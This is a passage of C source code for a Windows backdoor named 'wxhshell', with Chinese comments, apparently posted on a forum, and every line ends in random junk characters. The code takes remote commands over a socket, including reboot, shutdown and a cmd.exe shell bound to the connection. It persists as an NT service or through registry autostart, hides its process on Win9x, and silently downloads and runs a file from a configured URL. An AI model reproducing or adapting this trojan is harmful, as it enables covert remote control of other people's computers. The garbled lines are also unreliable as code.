  // 帮助 slaYr`u  
  case '?': { ,4M7:=gf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Nr8#/H2f  
    break; ^}fc]ovV  
  } @ (<C{  
  // 安装 Q}C)az  
  case 'i': { :c)N"EJlI2  
    if(Install()) Fuq ;4UcbL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V(3^ev/  
    else >Z r f}H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h fZY5+Z<  
    break; la+RK  
    } E">FH >8K}  
  // 卸载 lA>^k;+>  
  case 'r': { Y@B0.5U2  
    if(Uninstall()) P|*c7+q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C@1B?OfJ  
    else ]-]K4*{   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f9ux+XQk9  
    break; k+b!Lw!L  
    } ;+jz=9Q-  
  // 显示 wxhshell 所在路径 jMr[ UZ  
  case 'p': { |C"(K-do  
    char svExeFile[MAX_PATH]; =z#6mSx|W  
    strcpy(svExeFile,"\n\r"); i[_B~/_  
      strcat(svExeFile,ExeFile); |Lf>Z2E  
        send(wsh,svExeFile,strlen(svExeFile),0); tqbYrF)  
    break; |7ct2o~un  
    } imw,Nb  
  // 重启 "%]<Co<S  
  case 'b': { ?"04u*u3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )}w2'(!X8  
    if(Boot(REBOOT)) PgHe;^?j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5argw+2s4$  
    else { y``[CBj  
    closesocket(wsh); f3PDLQA  
    ExitThread(0); Bl[4[N  
    } ;GQCq@)-  
    break; 0+S ;0  
    } lgrD~Y (x  
  // 关机 mk.1jx ?l  
  case 'd': { @%iZT4`Ejf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 69< <pm,m  
    if(Boot(SHUTDOWN)) pY.R?\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kcl~cIh77  
    else { o0ky]9 P  
    closesocket(wsh); 5?l8;xe`{f  
    ExitThread(0); 9B3+$uP  
    } tBU n KPT  
    break; u-</G-y  
    } wH]5VltUT1  
  // 获取shell Z?JR6;@W  
  case 's': { "xWrYq'"  
    CmdShell(wsh); %Yw?!GvL[  
    closesocket(wsh); U/ds(*g@  
    ExitThread(0); gug9cmA/Q7  
    break; _\&v A5-  
  } Mbm'cM&}  
  // 退出 'k'"+  
  case 'x': { t?Ku6Z'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Dxvizd>VU  
    CloseIt(wsh); 1FA:"0lO  
    break; (}B3df  
    } E)>.2{]C>  
  // 离开 okm }%#|  
  case 'q': { O}s Mqh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^O6eFD U  
    closesocket(wsh); Hnft1   
    WSACleanup(); VEsIhjQ  
    exit(1); 6+ UTEw;  
    break; Fv_B(a  
        } !}lCwV  
  } )B*D\9\Z  
  } Q6PaT@gs  
je;C}4  
  // 提示信息 qt{lZ_$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )WNw0cV}J>  
} M "\Iw'5$  
  } {"PIS&]tR  
%fuV]  
  return; 3QI.|;X  
} Llf#g#T  
jWL%*dJrN  
// shell模块句柄 ]Z IreI  
int CmdShell(SOCKET sock) +7 \"^D  
{ w%1-_;.aU6  
STARTUPINFO si; z{H=;"+rh  
ZeroMemory(&si,sizeof(si)); gCV+amP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f/95}6M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &M>o  
PROCESS_INFORMATION ProcessInfo; YMn*i<m  
char cmdline[]="cmd"; [CG3&J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b^:frjaE3  
  return 0; ^]5^p9Jt"e  
} k3+LP7|*  
1,7  
// 自身启动模式 3ncN) E/@  
int StartFromService(void) ;e)`C v  
{ ;RK;kdZ  
typedef struct &j}:8Tst  
{ BaVooN~C  
  DWORD ExitStatus; =28ZSo^  
  DWORD PebBaseAddress; 9^+E$V1@  
  DWORD AffinityMask; K+\2cf?bU  
  DWORD BasePriority; dL]wu! wE  
  ULONG UniqueProcessId; eC3 ~|G_O  
  ULONG InheritedFromUniqueProcessId; 'iWDYZ?  
}   PROCESS_BASIC_INFORMATION; b+`qGJrej  
yGY:EvH^?  
PROCNTQSIP NtQueryInformationProcess; V]Rt[l]  
WJJmM*>JW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0Ke2%+yqJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~KQiNkA\|l  
S3UJ)@ E  
  HANDLE             hProcess; g43(N!@g  
  PROCESS_BASIC_INFORMATION pbi; &gF9VY  
[*J?TNk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I@oSRB  
  if(NULL == hInst ) return 0; WF_ v>g:g  
gNJdP!(t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !bIE%cq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B[IWgvB(e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !]3kFWs  
MTip4L W9  
  if (!NtQueryInformationProcess) return 0;  RnSll-  
bkuJN%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^[&,MQU{7  
  if(!hProcess) return 0; Pcjrv:0$  
7,s5Gd-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LAFxeo  
-^Qm_lN  
  CloseHandle(hProcess); &+0?Xip{Z  
V x{   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O\SH;y,N  
if(hProcess==NULL) return 0; m3~_uc/+D  
O"X:3srJ`  
HMODULE hMod; V.%LA. 8  
char procName[255]; fK _uuw4  
unsigned long cbNeeded; '#C5m#v  
ce [ Maw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BNgm+1?L  
:='I>Gn  
  CloseHandle(hProcess); T`bUBrK6g`  
zR4]buHnE  
if(strstr(procName,"services")) return 1; // 以服务启动 naM~>N  
~s yWORiXm  
  return 0; // 注册表启动 aL*}@|JL"  
} OIK46D6?.  
R.?PD$;_M  
// 主模块 8aJJ??o{  
int StartWxhshell(LPSTR lpCmdLine) 3Vbt(K  
{ h=qT@)h1>  
  SOCKET wsl; u* G+=aV.6  
BOOL val=TRUE; j#U,zsv:  
  int port=0; .D*~UI  
  struct sockaddr_in door; +eO>> ~Z  
"Zy:q'`o  
  if(wscfg.ws_autoins) Install(); LJ6l3)tpD  
zwU1(?]I{  
port=atoi(lpCmdLine); t,n2N13  
W~PMR/^i  
if(port<=0) port=wscfg.ws_port; s(?%A  
(d/!M n6L  
  WSADATA data; A2ufET  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \H9:%Tlp~4  
]9PG"<^k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mE=Ur  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?6]B6  
  door.sin_family = AF_INET; !"o\H(siT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XS #u/!  
  door.sin_port = htons(port); 'N^*,  
7n?yf_ je  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z- t&AH  
closesocket(wsl); XjdHH.) S  
return 1; eY-h<K)y  
} R={#V8D~  
f5p/cUzX  
  if(listen(wsl,2) == INVALID_SOCKET) { w5^k84vye  
closesocket(wsl); <5^m`F5  
return 1; PD^G$LT  
} Y9gw ('\w  
  Wxhshell(wsl); I:HrBhI)wP  
  WSACleanup(); 4AKr.a0q  
=j{tFxJ  
return 0; 4l{$dtKbI  
)&O6d .  
} Mna yiJl  
c%WO#}r|  
// 以NT服务方式启动 xXc>YTK'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~ g-(  
{ m"-kkH{I  
DWORD   status = 0; c1r+?q$f  
  DWORD   specificError = 0xfffffff; a]P w:lT  
7r50y>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Aix6O=K6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :<mJRsDf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F+GX{e7E\  
  serviceStatus.dwWin32ExitCode     = 0; /G|v.#2/g  
  serviceStatus.dwServiceSpecificExitCode = 0; yXoNfsv  
  serviceStatus.dwCheckPoint       = 0; FZW`ADq]  
  serviceStatus.dwWaitHint       = 0; VdGVEDwz  
K a& 2>F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PO8Z2"WI  
  if (hServiceStatusHandle==0) return; Z#B}#*<C  
{%CW!Rc  
status = GetLastError(); E#_2t)20  
  if (status!=NO_ERROR) x=IZ0@p  
{ d:w/{m% #  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gS'7:UH,  
    serviceStatus.dwCheckPoint       = 0; @HiGc^ X(  
    serviceStatus.dwWaitHint       = 0; wV iTMlq  
    serviceStatus.dwWin32ExitCode     = status; M.6uWwzQR  
    serviceStatus.dwServiceSpecificExitCode = specificError; -KV,l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $,J0) ~  
    return; 4H (8BNgzV  
  } 2m]4  
ErJ/h?+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #g0_8>t  
  serviceStatus.dwCheckPoint       = 0; BWQ`8  
  serviceStatus.dwWaitHint       = 0; SMIDW}U2S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <F(S_w62  
} .d}yQ#5z  
4sntSlz)~k  
// 处理NT服务事件,比如:启动、停止 2$kB^g!:o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bhGRD{=  
{ Y,GlAr s4  
switch(fdwControl) tkR~(h  
{ 9 " t;6  
case SERVICE_CONTROL_STOP:  Igmg&  
  serviceStatus.dwWin32ExitCode = 0; (oR~%2K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1/m$#sz  
  serviceStatus.dwCheckPoint   = 0; )DhE~  
  serviceStatus.dwWaitHint     = 0; ;"u,G!  
  { W^h,O+vk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tM;cvc`/  
  } A_\Jb}J1<  
  return; xGQP*nZ  
case SERVICE_CONTROL_PAUSE: W4&8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k}F7Jw#.  
  break; ;Z"MO@9:  
case SERVICE_CONTROL_CONTINUE: R.*;] R>M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <W!nlh  
  break; 2I}+AW!!=  
case SERVICE_CONTROL_INTERROGATE: ,*U-o}{8C?  
  break; 717THci3Y  
}; Wz=& 0>Mm_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E"_{S.Wc  
} 1HKA`]D"p  
0?8>{!I  
// 标准应用程序主函数 _hyqHvP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -&`_bf%M  
{ )I3E  
K<:%ofB"S  
// 获取操作系统版本 c5$DHT @N"  
OsIsNt=GetOsVer(); <uv `)Q9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X Vt;hO  
LwRzzgt  
  // 从命令行安装 x}pH'S7  
  if(strpbrk(lpCmdLine,"iI")) Install(); "i(f+N,)  
\ t1#5  
  // 下载执行文件 kJJiDDL0;*  
if(wscfg.ws_downexe) { G-2~$ u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q[VQ?b~9  
  WinExec(wscfg.ws_filenam,SW_HIDE); l"E{ ?4  
} m!G(vhA,_w  
"hI"4xSg  
if(!OsIsNt) { K"XwSZ/  
// 如果时win9x,隐藏进程并且设置为注册表启动 2<5LQr  
HideProc(); G gA:;f46  
StartWxhshell(lpCmdLine); X!LiekU!D  
} WN{8gL&y  
else ^8~TsK~  
  if(StartFromService()) PdVx&BL*  
  // 以服务方式启动 ?i0+h7 =6  
  StartServiceCtrlDispatcher(DispatchTable); DJgM>&Y6,  
else :*,!gf  
  // 普通方式启动 /klo),|&  
  StartWxhshell(lpCmdLine); ~y"R{-%uS  
?]Hs~n-  
return 0; (^FMm1@T  
}
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只看该作者 1 发表于: 2006-10-10
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